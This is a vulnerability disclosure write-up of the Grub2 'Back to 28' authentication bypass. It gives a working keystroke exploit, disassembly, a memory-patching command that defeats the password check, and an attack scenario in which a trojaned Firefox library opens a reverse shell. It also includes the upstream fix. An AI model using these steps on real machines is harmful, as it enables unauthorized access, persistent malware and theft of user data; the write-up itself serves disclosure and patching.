Back to 28: Grub2 Authentication 0-Day

Back to 28 GRUB2 vulnerability



Description

A vulnerability in Grub2 has been found. Versions from 1.98 (December, 2009) to 2.02 (December, 2015) are affected. The vulnerability can be exploited under certain circumstances, allowing local attackers to bypass any kind of authentication (plain or hashed passwords). And so, the attacker may take control of the computer.

Grub2 is the bootloader used by most Linux systems including some embedded systems. This results in an incalculable number of affected devices.

As shown in the picture, we successfully exploited this vulnerability in a Debian 7.5 under Qemu getting a Grub rescue shell.

Am I vulnerable ?

To quickly check if your system is vulnerable, when the Grub ask you the username, press the Backspace 28 times. If your machine reboots or you get a rescue shell then your Grub is affected.

Impact

Elevation of privilege: The attacker is authenticated without knowing a valid username nor the password. The attacker has full access to the grub's console (grub rescue).



The attacker is authenticated without knowing a valid username nor the password. The attacker has full access to the grub's console (grub rescue). Information disclosure: The attacker can load a customized kernel and initramfs (for example from a USB) and then from a more comfortable environment, copy the full disk or install a rootkit.



The attacker can load a customized kernel and initramfs (for example from a USB) and then from a more comfortable environment, copy the full disk or install a rootkit. Denial of service: The attacker is able to destroy any data including the grub itself. Even in the case that the disk is ciphered the attacker can overwrite it, causing a DoS.



The Vulnerability

The fault (bug) is in the code of Grub since version 1.98 (December, 2009). The commit which introduced the fault was b391bdb2f2c5ccf29da66cecdbfb7566656a704d , affecting the grub_password_get() function.

There are two functions which suffer the same integer underflow fault. The grub_username_get() and grub_password_get() located in grub-core/normal/auth.c and lib/crypto.c respectively. Both functions are equal except for a call to printf() in the grub_username_get() . The PoC described here is based only on exploiting the grub_username_get() to obtain a Grub rescue shell.

Below is the vulnerable grub_username_get() function:

static int grub_username_get ( char buf [], unsigned buf_size ) { unsigned cur_len = 0 ; int key ; while ( 1 ) { key = grub_getkey (); if ( key == '

' || key == '\r' ) break ; if ( key == '\e' ) { cur_len = 0 ; break ; } if (key == '\b') { cur_len--; grub_printf ( "\b" ); continue ; } if (! grub_isprint ( key )) continue ; if ( cur_len + 2 < buf_size ) { buf[cur_len++] = key ; grub_printf ( "%c" , key ); } } grub_memset( buf + cur_len, 0, buf_size - cur_len); grub_xputs ( "

" ); grub_refresh (); return ( key != '\e' ); } Function grub_username_get() at grub-core/normal/auth.c

cur_len

The Exploit (PoC)

Exploiting the integer underflow can be used to cause an Off-by-two or an Out of bounds overwrite memory errors. The former error, overwrites up to two bytes right under the username buffer (local variable called login at function grub_auth_check_authentication() ), but this area does not contain any usable information to build an attack; actually, it is padding.

The latter error, the Out of bounds overwrite, is more interesting because it allows to overwrite with zeros the zone below to the username buffer. This is because the grub_memset() function tries to set to zero all unused bytes of the username buffer. To do that, the code calculates the address of the first unused byte and how many bytes have to be zeroed in the buffer. The results of these calculations are passed as arguments to the grub_memset() function:

grub_memset (buf + cur_len, 0, buf_size - cur_len);

For example, typing "root" as usermane, cur_len is 5, and the grub_memset() function will clear (set to zero) bytes form 5 to 1024-5 (the username and password buffers are 1024 bytes) of the username buffer. This way of programming is quite robust. For example, if the typed username is stored in a clean 1024-byte array, then we can compare the whole 1024-bytes with the valid username, rather than comparing both strings. This protects against some short of side-channels attacks, like timing attacks.

To abuse the out of bound overwrite, the attacker can press the backspace key to underflow the cur_len variable, producing a very high value. This value is later used to calculate the starting address to clear.

memset destination address = buf + cur_len

grub_memset()

cur_len--; // Integer Underflow

grub_memset ( buf + cur_len , 0, buf_size - cur_len); // Integer Overflow

The following example helps to understand how we can exploit this. Assuming that the username buffer resides in the address 0x7f674 and the attacker press the backspace key only once (producing an underflow to 0xFFFFFFFF ) the resulting memset will be:

grub_memset (0x7f673, 0, 1025);

The first argument is: (buf+cur_len) = (0x7f674+0xFFFFFFFF) = (0x7f674-1) = 0x7f673 , the second argument: is the constant value used to overwrite the area, in this case 0 , and the third argument is the number of bytes to overwrite: (buf_size-cur_len) = (1024-(-1)) = 1025 . Therefore, the whole username buffer (1024) plus the very first byte under the buffer will be set to zero.

Therefore, the number backspace keystrokes (without introducing any username), is the number of bytes below the username that are zeroed.

Now, we are able to overwrite an arbitrary number of bytes below the username, we need to find out an interesting memory address that we can overwrite with zeros. A quick look to the current stack frame reveals that we were able to overwrite the return address of the grub_memset() function. The following picture sketches the stack memory layout:

Grub2: Redirecting the control flow.

As shown in the above picture, the return address of the grub_memset() function is at a distance of 16-bytes from the username buffer. In other words, if we press the backspace key 17 times, we will overwrite the highest byte of the return address. So, instead of returning to the caller function at 0x07eb53e8 we will jump to 0x00eb53e8 . When the grub_memset() ends, control flow is redirected to the the 0x00eb53e8 address causing a reboot. The same occurs if we press the backspace key 18, 19 or 20 times, in all cases the system reboots.

At this point, we are able to redirect the control flow.

We will skip the detailed analysis of the code at: 0x00eb53e8, 0x000053e8 and 0x000000e8, because they jump to code that reboots the computer and there is no way to control the execution flow.

Although it seems quite difficult to build a successful attack just jumping to 0x0, we will show how to do it.

Is there life after jumping to 0x0 ?

At address 0x0 resides the IVT (Interrupt Vector Table) of the processor. It contains a variety of pointers in the form of segment:offset.

The lowest part of the IVT interpreted as code.

The processor is in "protected mode". Grub2 enables this mode at the very beginning.

Virtual memory is not enabled.

No memory protection. The memory is readable/writable/executable. That is, no NX/DEP.

The processor executes the 32-bit instruction set, even in 64-bit architectures.

Self modifying code is automatically handled by the processor: " If the write affects a prefetched instruction, the prefetch queue is invalidated. "

" No Stack Smashing Protector (SSP).

No Address Space Layout Randomization (ASLR).

grub_rescue_run()

What do we control when jumping to 0x0

The main "while" loop of the grub_username_get() ends when the user hits either the [Enter] or the [Esc] key. The register %ebx contains the value of the last typed key (0xd or 0x8, Enter or Esc ascii codes respectively). The register %esi holds the value of the cur_len variable. The instruction pointer points to the 0x0 address. The %esi register contains the value -28 (the exploit works by pressing 28 times the backspace), and then hitting [Enter] ( %ebx == 0xb ). eax 0x7f658 ecx 0x0 (0) edx 0x0 (0) ebx 0xd (13) esp 0x7f664 ebp 0x0 (0) esi 0xffff ffe4 (-28) edi 0x0 (0) eip 0x0 (0) esp 0x7f664 eflags 0x200046[ PF ZF ID ] Relevant CPU registers.

Reverse engineering of the IVT

If the state of the processor is the one summarized in the previous table, the code at IVT implements something like a memcpy() , which copies from the address pointed by %esi to 0x0 (to itself). Therefore, IVT is a self modifying code, and we can select the block of code that we want to copy from.

The following sequence shows the sequence of code actually executed the register %esi has the value -28 ( 0xffffffe4 ):

First iteration. Second iteration.

retw

0x0007

%esp

0xe00c

0xe00c

grub_rescue_run()

< grub_rescue_run >: 0xdfef: push %ebp 0xdff0: mov %esp,%ebp 0xdff2: sub $0x24,%esp 0xdff5: push $0xe90a 0xdffa: call 0xd53b # 0xdfff: add $0x10,%esp 0xe002: call 0xbfd2 # 0xe007: xor %edx,%edx 0xe009: lea -0xc(%ebp),%eax ->0xe00c: movl $0x0,0x16ce0--> 0xe016: call 0xdf28 ... ... ... void __attribute__ ((noreturn)) grub_rescue_run ( void ){ . . . while (1) { char *line; /* Print an error, if any. */ grub_print_error (); ----->grub_errno = GRUB_ERR_NONE; grub_rescue_read_line (&line, 0, NULL); if (! line || line[0] == '\0' ) continue ; grub_rescue_parse_line (line, grub_rescue_read_line, NULL); grub_free (line); } } Assembly code. Corresponding C function.

Right after 28 [Backspace] and [Enter]. We've got a fully operative rescue shell.

Fortunately, the content of the memory has suffered minor modifications, and it is possible to use all the functionality of GRUB. Only, the first interrupt vector of the IVT has been modified, and since the processor is now in protected mode, the IVT is no longer used.

One step ahead

Although we reached the GRUB2 rescue function, we are not actually authenticated. If we return to the "normal" mode, that is the grub menu and with full editing capabilities, GRUB will ask for a valid user and password. So, we can directly start to type GRUB2 commands, or even including new modules to add new GRUB functionalities, to deploy the malware into the system or launch a much more comfortable environment by running a complete bash shell from a Linux. To run bash in Linux, we can use the GRUB2 commands like linux, initrd or insmod.

Although to use GRUB2 commands to run a Linux kernel to deploy the malware is perfectly possible, we found that, a simpler solution is to patch the code of GRUB2 in RAM to be always authenticated and then return to the "normal" mode. The idea to do that, is to modify the condition which checkes whether the user has been authenticated or not. This function is is_authenticated() in the file grub-core/normal/auth.c .

The goal is to overwrite the condition with nop instructions.

write_word

grub rescue> write_word 0x7eb514e 0x90909090 grub rescue> normal We've got a fully operative GRUB2.

How an APT could use this 0-Day

Physical access is an "advanced" feature attributed to APTs (or insiders). One of the main goals of an APT is the theft of sensitive information or Cyberspying. The following is just a very simple example of how an APT could infect a system and obtain persistence to posteriorly steal data of a user. The following summarizes the system configuration:

BIOS/UEFI is protected with password.

GRUB2 edit mode is protected with password.

External boots disabled: CDROM, DVD, USB, Netboot, PXE ...

The user data (HOME) is ciphered.

Boot system Overview.

Preparing the environment to deploy the malware

By patching the GRUB2 as shown before, we can easily edit the linux entry to load a Linux kernel and get a root shell. This is an old but still usable trick, just by adding init=/bin/bash to the linux entry, we will get a root Linux shell, which is a much more comfortable environment for deploying our malware.

Adding /bin/bash to the linux GRUB2 command. Bash root shell in Linux.

Note that since /bin/bash is the first process to run, the syslog daemon is not running, and so, logs are not recorded. That is, this access will not be detected using normal Linux monitoring.

Deploying the malware and obtaining persistence

In order to show how far you could go by exploiting this 0-Day Grub2 vulnerability, we have developed a simple PoC. This PoC is a modified Firefox library which creates a new process and run a reverse shell to a controlled server at port 53. Obviously, this is a simple example, and a real malware will exfiltrate the information much more stealthily.

The modified library was uploaded to virustotal reporting 0 infections/virus out of 55 tools. Firefox is a web browser that uses Internet, and makes requests to HTTP and DNS ports, so, it not appears to be suspicious that our malware talk with these ports.

To infect the system we simply put our modified libplc4.so library into a USB and then replace the original one. We have to mount with write permissions the system and mount the USB as shown in the following picture:

Infecting the system.

When any user executes the Firefox, a reverse shell will be invoked. At this time all data of the user is deciphered, allowing us to steal any kind of information of the user. The following picture, shows how the user Bob (the target) is using the Firefox and how the user Alice (the attacker) has full access to Bob's data.

The victim browsing the web. The attacker with a reverse shell.

The Fix

cur_len

From 88c9657960a6c5d3673a25c266781e876c181add Mon Sep 17 00:00:00 2001 From: Hector Marco-Gisbert <hecmargi@upv.es> Date: Fri, 13 Nov 2015 16:21:09 +0100 Subject: [PATCH] Fix security issue when reading username and password This patch fixes two integer underflows at: * grub-core/lib/crypto.c * grub-core/normal/auth.c Signed-off-by: Hector Marco-Gisbert <hecmargi@upv.es> Signed-off-by: Ismael Ripoll-Ripoll <iripoll@disca.upv.es> --- grub-core/lib/crypto.c | 2 +- grub-core/normal/auth.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/grub-core/lib/crypto.c b/grub-core/lib/crypto.c index 010e550..524a3d8 100644 --- a/grub-core/lib/crypto.c +++ b/grub-core/lib/crypto.c @@ -468,7 +468,7 @@ grub_password_get (char buf[], unsigned buf_size) break; } - if (key == '\b') + if (key == '\b' && cur_len) { cur_len--; continue; diff --git a/grub-core/normal/auth.c b/grub-core/normal/auth.c index c6bd96e..5782ec5 100644 --- a/grub-core/normal/auth.c +++ b/grub-core/normal/auth.c @@ -172,7 +172,7 @@ grub_username_get (char buf[], unsigned buf_size) break; } - if (key == '\b') + if (key == '\b' && cur_len) { cur_len--; grub_printf ("\b"); -- 1.9.1

$ git clone git://git.savannah.gnu.org/grub.git grub.git $ cd grub.git $ wget http://hmarco.org/bugs/patches/0001-Fix-CVE-2015-8370-Grub2-user-pass-vulnerability.patch $ git apply 0001-Fix-CVE-2015-8370-Grub2-user-pass-vulnerability.patch

Discussion

The successfully exploitation of the vulnerability has been possible because we made a very deep analysis of all components involved in this bug. As can be seen, the successful exploitation depends on many things: the BIOS version, the GRUB version, the amount of RAM, and whatever that modifies the memory layout. And each system requires a deep analysis to build the specific exploit.

Just to mention something that we have not used here: the grub_memset() function can be abused so that it sets to zero chunks of memory without jumping to 0x0, and the user and password buffers can be used to store payloads.

Also, in the case of more complex attacks (those which require a large underflow or payload), it would be useful to use a keyboard emulation device, as for example the Teensy device. We can record the attack sequence of pressed keys, and replay it on the target system.

Fortunately, the method presented here to exploit the GRUB2 vulnerability is not generic, but there are other alternatives that could work for you. Here we are only presenting one that works for us.